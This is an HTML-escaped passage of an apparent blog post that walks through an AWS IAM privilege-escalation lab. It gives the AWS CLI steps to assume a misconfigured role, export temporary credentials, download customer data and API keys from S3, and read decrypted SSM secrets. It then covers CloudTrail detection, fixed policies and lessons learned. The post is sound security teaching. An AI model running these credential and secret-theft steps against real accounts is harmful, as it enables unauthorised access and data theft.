  Output:
&lt;/h1&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
     "UserId": "AIDAI4EXAMPLE",
     "Account": "123456789012",
     "Arn": "arn:aws:iam::123456789012:user/DevUser"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Step 3: Assume the Privileged Role&lt;/p&gt;
&lt;h1&gt;
  
  
  Assume app-role
&lt;/h1&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws sts assume-role \
  --role-arn arn:aws:iam::123456789012:role/app-role \
  --role-session-name attacker-session \
  --profile devuser

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h1&gt;
  
  
  Output includes temporary credentials:
&lt;/h1&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; {
   "Credentials": {
        "AccessKeyId": "ASIAXXX",
        "SecretAccessKey": "xxx",
        "SessionToken": "xxx",
        "Expiration": "2025-12-21T22:00:00Z"
    }
 }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Step 4: Configure Temporary Credentials&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Export the temporary credentials
export AWS_ACCESS_KEY_ID="ASIAXXX"
export AWS_SECRET_ACCESS_KEY="xxx"
export AWS_SESSION_TOKEN="xxx"

# Verify new identity
aws sts get-caller-identity

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Output:
# {
#     "UserId": "AROAXXXXX:attacker-session",
#     "Account": "123456789012",
#     "Arn": "arn:aws:sts::123456789012:assumed-role/app-role/attacker-session"
# }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Step 5: Access Sensitive Data&lt;br&gt;
bash&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# List objects in the production bucket
aws s3 ls s3://app-data-prod/

# Download sensitive files
aws s3 cp s3://app-data-prod/customer-data.csv .
aws s3 cp s3://app-data-prod/api-keys.json .

# Retrieve secrets from Parameter Store
aws ssm get-parameter --name /app/database-password --with-decryption
aws ssm get-parameter --name /app/api-key --with-decryption
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attack Path Summary:&lt;/p&gt;

&lt;p&gt;Low-privilege DevUser → Enumerate IAM roles&lt;br&gt;
Discover app-role with misconfigured trust policy&lt;br&gt;
Assume app-role using STS&lt;br&gt;
Access production S3 bucket and SSM parameters with elevated privileges&lt;br&gt;
Exfiltrate sensitive data&lt;/p&gt;

&lt;p&gt;What Makes This Realistic:&lt;/p&gt;

&lt;p&gt;Developers commonly misunderstand IAM trust policy syntax&lt;br&gt;
Low-privilege accounts often have sts:AssumeRole for legitimate reasons&lt;br&gt;
The escalation path isn't obvious from any single policy it requires combining permissions&lt;br&gt;
No alerts fire because the role assumption is technically authorized&lt;/p&gt;

&lt;p&gt;Defender's Perspective (Blue Team View)&lt;br&gt;
Detection Strategy:&lt;br&gt;
CloudTrail logs contain all the evidence needed to detect this attack. The key is knowing what to look for.&lt;br&gt;
Indicator 1: Role Enumeration&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "eventName": "GetRole",
  "eventTime": "2025-12-21T18:23:45Z",
  "userIdentity": {
    "type": "IAMUser",
    "principalId": "AIDAI4EXAMPLE",
    "arn": "arn:aws:iam::123456789012:user/DevUser",
    "accountId": "123456789012",
    "userName": "DevUser"
  },
  "requestParameters": {
    "roleName": "app-role"
  },
  "sourceIPAddress": "203.0.113.45"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why This Matters: DevUser listing and examining roles, especially those it shouldn't need to know about, is suspicious. Most users don't enumerate IAM roles unless they're investigating privilege escalation paths.&lt;br&gt;
Indicator 2: Unusual AssumeRole Activity&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "eventName": "AssumeRole",
  "eventTime": "2025-12-21T18:24:12Z",
  "userIdentity": {
    "type": "IAMUser",
    "principalId": "AIDAI4EXAMPLE",
    "arn": "arn:aws:iam::123456789012:user/DevUser",
    "accountId": "123456789012",
    "userName": "DevUser"
  },
  "requestParameters": {
    "roleArn": "arn:aws:iam::123456789012:role/app-role",
    "roleSessionName": "attacker-session"
  },
  "resources": [
    {
      "type": "AWS::IAM::Role",
      "ARN": "arn:aws:iam::123456789012:role/app-role"
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why This Matters: DevUser has never assumed this role before. Baseline behavior analysis would flag this as anomalous. Additionally, the session name "attacker-session" is obviously suspicious (though real attackers would use something more innocuous).&lt;br&gt;
Indicator 3: S3 Access from New Principal&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "eventName": "GetObject",
  "eventTime": "2025-12-21T18:25:33Z",
  "userIdentity": {
    "type": "AssumedRole",
    "principalId": "AROAXXXXX:attacker-session",
    "arn": "arn:aws:sts::123456789012:assumed-role/app-role/attacker-session",
    "accountId": "123456789012",
    "sessionContext": {
      "sessionIssuer": {
        "type": "Role",
        "principalId": "AROAXXXXX",
        "arn": "arn:aws:iam::123456789012:role/app-role",
        "accountId": "123456789012",
        "userName": "app-role"
      }
    }
  },
  "requestParameters": {
    "bucketName": "app-data-prod",
    "key": "customer-data.csv"
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why This Matters:&lt;/strong&gt; The app-role is typically assumed by EC2 instances, not by IAM users. Seeing an IAM user assume this role and immediately access sensitive S3 objects is highly anomalous.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Detection Implementation:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CloudWatch Logs Insights Query:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fields @timestamp, userIdentity.userName, eventName, requestParameters.roleArn
| filter eventName = "AssumeRole"
| filter userIdentity.type = "IAMUser"
| filter requestParameters.roleArn like /app-role/
| sort @timestamp desc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GuardDuty Finding:&lt;br&gt;
GuardDuty would generate a Policy:IAMUser/RootCredentialUsage or similar finding if configured properly. While our specific pattern might not trigger a built-in finding, GuardDuty's anomaly detection would flag unusual IAM activity.&lt;br&gt;
Manual Detection Checklist:&lt;/p&gt;

&lt;p&gt;IAM users assuming roles they've never used before&lt;br&gt;
Multiple GetRole calls before an AssumeRole&lt;br&gt;
Access to S3 buckets from principals that don't normally access them&lt;br&gt;
SSM parameter retrieval outside of normal application patterns&lt;br&gt;
Source IP addresses from unexpected regions or ASNs&lt;/p&gt;

&lt;p&gt;Real-World Detection:&lt;br&gt;
In production environments, this attack is commonly caught by:&lt;/p&gt;

&lt;p&gt;UEBA (User and Entity Behavior Analytics) tools that establish baselines&lt;br&gt;
CloudTrail analysis in SIEM platforms (Splunk, Datadog, etc.)&lt;br&gt;
AWS Config rules that alert on role assumption by unexpected principals&lt;br&gt;
S3 access logging combined with anomaly detection&lt;/p&gt;

&lt;p&gt;The attacker is caught when a security analyst reviews CloudTrail logs and notices the unusual sequence of IAM enumeration → role assumption → sensitive data access from a principal that shouldn't have this access pattern.&lt;br&gt;
Remediation and Secure Design&lt;br&gt;
Fixed IAM Role Trust Policy:&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;code&gt;{&lt;br&gt;
  "Version": "2012-10-17",&lt;br&gt;
  "Statement": [&lt;br&gt;
    {&lt;br&gt;
      "Effect": "Allow",&lt;br&gt;
      "Principal": {&lt;br&gt;
        "Service": "ec2.amazonaws.com"&lt;br&gt;
      },&lt;br&gt;
      "Action": "sts:AssumeRole",&lt;br&gt;
      "Condition": {&lt;br&gt;
        "StringEquals": {&lt;br&gt;
          "sts:ExternalId": "unique-external-id-12345"&lt;br&gt;
        }&lt;br&gt;
      }&lt;br&gt;
    }&lt;br&gt;
  ]&lt;br&gt;
}&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;Key Changes:&lt;/p&gt;

&lt;p&gt;Principal is now ec2.amazonaws.com service, not account root&lt;br&gt;
Added ExternalId condition for additional verification&lt;br&gt;
Only EC2 instances can assume this role, not IAM users&lt;/p&gt;

&lt;p&gt;Fixed DevUser Policy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "ec2:DescribeInstances",
        "s3:ListAllMyBuckets"
      ],
      "Resource": "*"
    },
    {
      "Effect": "Deny",
      "Action": [
        "iam:*",
        "sts:AssumeRole"
      ],
      "Resource": "*"
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key Changes:&lt;/p&gt;

&lt;p&gt;Removed IAM enumeration permissions&lt;br&gt;
Explicitly deny sts:AssumeRole to prevent role switching&lt;br&gt;
Apply least privilege only permissions actually needed&lt;/p&gt;

&lt;p&gt;S3 Bucket Policy with Least Privilege:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:role/app-role"
      },
      "Action": [
        "s3:GetObject",
        "s3:PutObject"
      ],
      "Resource": "arn:aws:s3:::app-data-prod/*",
      "Condition": {
        "StringEquals": {
          "s3:ExistingObjectTag/Environment": "production"
        }
      }
    },
    {
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:*",
      "Resource": [
        "arn:aws:s3:::app-data-prod",
        "arn:aws:s3:::app-data-prod/*"
      ],
      "Condition": {
        "Bool": {
          "aws:SecureTransport": "false"
        }
      }
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;AWS-Native Security Controls:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Enable IMDSv2 on EC2 Instances
bashaws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1&lt;/li&gt;
&lt;li&gt;Use IAM Access Analyzer
bash# Create analyzer to detect external access
aws accessanalyzer create-analyzer \
--analyzer-name account-analyzer \
--type ACCOUNT&lt;/li&gt;
&lt;li&gt;Enable GuardDuty
bashaws guardduty create-detector --enable&lt;/li&gt;
&lt;li&gt;Implement SCPs (Service Control Policies)
For organizations with multiple accounts, use SCPs to prevent dangerous IAM patterns:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Action": [
        "iam:CreateAccessKey",
        "iam:CreateUser"
      ],
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:PrincipalOrgID": "o-xxxxxxxxxx"
        }
      }
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;CloudTrail Best Practices&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Enable log file validation&lt;br&gt;
Store logs in a separate security account&lt;br&gt;
Enable MFA delete on log bucket&lt;br&gt;
Set up alerts for critical IAM events&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Least Privilege Principles Applied:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Service-specific principals: Roles should trust services (like EC2, Lambda), not account root&lt;br&gt;
Condition keys: Add conditions to further restrict when policies apply&lt;br&gt;
Explicit denies: Use deny statements to prevent circumvention&lt;br&gt;
Time-bounded credentials: Use temporary credentials with short expiration&lt;br&gt;
Resource-level permissions: Specify exact resources, avoid wildcards&lt;br&gt;
Regular auditing: Use Access Analyzer and IAM Access Advisor to find unused permissions&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lessons Learned&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;IAM Trust Policies Are Not Intuitive&lt;br&gt;
The biggest lesson: "Principal": {"AWS": "arn:aws:iam::ACCOUNT_ID:root"} does not mean "only the root user." It means "any principal in this account." This single misunderstanding causes countless production incidents. You can read this in documentation, but exploiting it in a lab makes it unforgettable.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Enumeration Is the First Step&lt;br&gt;
Attackers with limited credentials immediately enumerate what's available. They run list-roles, list-users, describe-instances, list-buckets. Defenders need to treat excessive enumeration as a red flag, not normal behavior. Baselines matter.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Privilege Escalation Paths Are Rarely Obvious&lt;br&gt;
The vulnerable path in this lab requires combining three elements: DevUser's sts:AssumeRole permission, app-role's trust policy, and app-role's S3 permissions. No single policy looks immediately dangerous. Real attacks work the same way they chain together reasonable-looking permissions into exploitation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Detection Requires Context&lt;br&gt;
A single AssumeRole call isn't suspicious. An IAM user assuming a role normally used by EC2 instances is suspicious. Good detection isn't about alerting on individual events it's about understanding normal behavior and flagging deviations.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Least Privilege Is Hard&lt;br&gt;
Writing the remediated policies takes more effort than writing the vulnerable ones. The secure versions require understanding service principals, condition keys, and resource ARNs. This is why overly permissive policies are so common they're easier. Labs teach you the cost of taking shortcuts.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Theory vs. Practice Gap&lt;br&gt;
Reading "don't use wildcards in IAM policies" teaches you nothing. Exploiting a wildcard in Resource: "*" to access sensitive S3 buckets teaches you why the rule exists. Building and breaking systems creates understanding that studying alone cannot.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CloudTrail Is Your Forensic Foundation&lt;br&gt;
Every action in this attack is logged. The evidence is there. But if you don't know what to look for, or if your logs are poorly organized, you won't find it. Effective security requires not just enabling CloudTrail, but actively querying and analyzing it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Defense Depth Matters&lt;br&gt;
The remediation doesn't rely on a single control. It combines: fixed trust policies, least privilege IAM policies, S3 bucket policies, GuardDuty, IAM Access Analyzer, and IMDSv2. Layered security means an attacker has to bypass multiple controls, not just one.&lt;br&gt;
What This Lab Teaches That Theory Cannot:&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The muscle memory of running AWS CLI commands as an attacker&lt;br&gt;
What CloudTrail logs actually look like during an attack&lt;br&gt;
The psychological experience of privilege escalation (it feels easy, which is alarming)&lt;br&gt;
How to write IAM policies that actually stop these attacks&lt;br&gt;
Why security engineering is about understanding attacker tradecraft&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Building intentionally vulnerable AWS labs bridges the gap between theoretical cloud security knowledge and practical defensive skills. When you've successfully exploited an IAM misconfiguration yourself, you understand viscerally why certain patterns are dangerous. When you've hunted through CloudTrail logs to detect your own simulated attack, you know what to look for in production.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;This isn't about learning to be an attacker. It's about thinking like one so you can build defenses that actually work. Cloud security isn't about memorizing AWS documentation it's about understanding how identity, permissions, and trust boundaries interact in ways that create exploitable paths.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The lab environment described here is a starting point. Extend it. Add Lambda functions with overly permissive execution roles. Configure an S3 bucket with public access. Create an EC2 instance with IMDSv1 enabled and credentials in user data. Each vulnerability you add is another lesson for anyone who works through it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Security teams benefit from engineers who understand both offense and defense. DevSecOps teams need people who can review IAM policies and spot privilege escalation risks. Cloud architects need to design systems that are secure by default, not retrofit security later. Labs like this train all of those skills simultaneously.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Build these environments in isolated AWS accounts. Document the vulnerabilities. Walk teammates through the exploitation and remediation. Host internal workshops where engineers red team each other's infrastructure. The AWS community grows stronger when we learn from controlled failures rather than production incidents.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Responsible experimentation in lab environments is how we develop the expertise to secure production systems. This is ethical learning done right controlled, educational, and defensive-minded. The goal is never to exploit real systems. It's to understand exploitation well enough that you can prevent it.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>aws</category>
      <category>cybersecurity</category>
      <category>cloud</category>
      <category>devsecops</category>
    </item>
  </channel>
</rss>
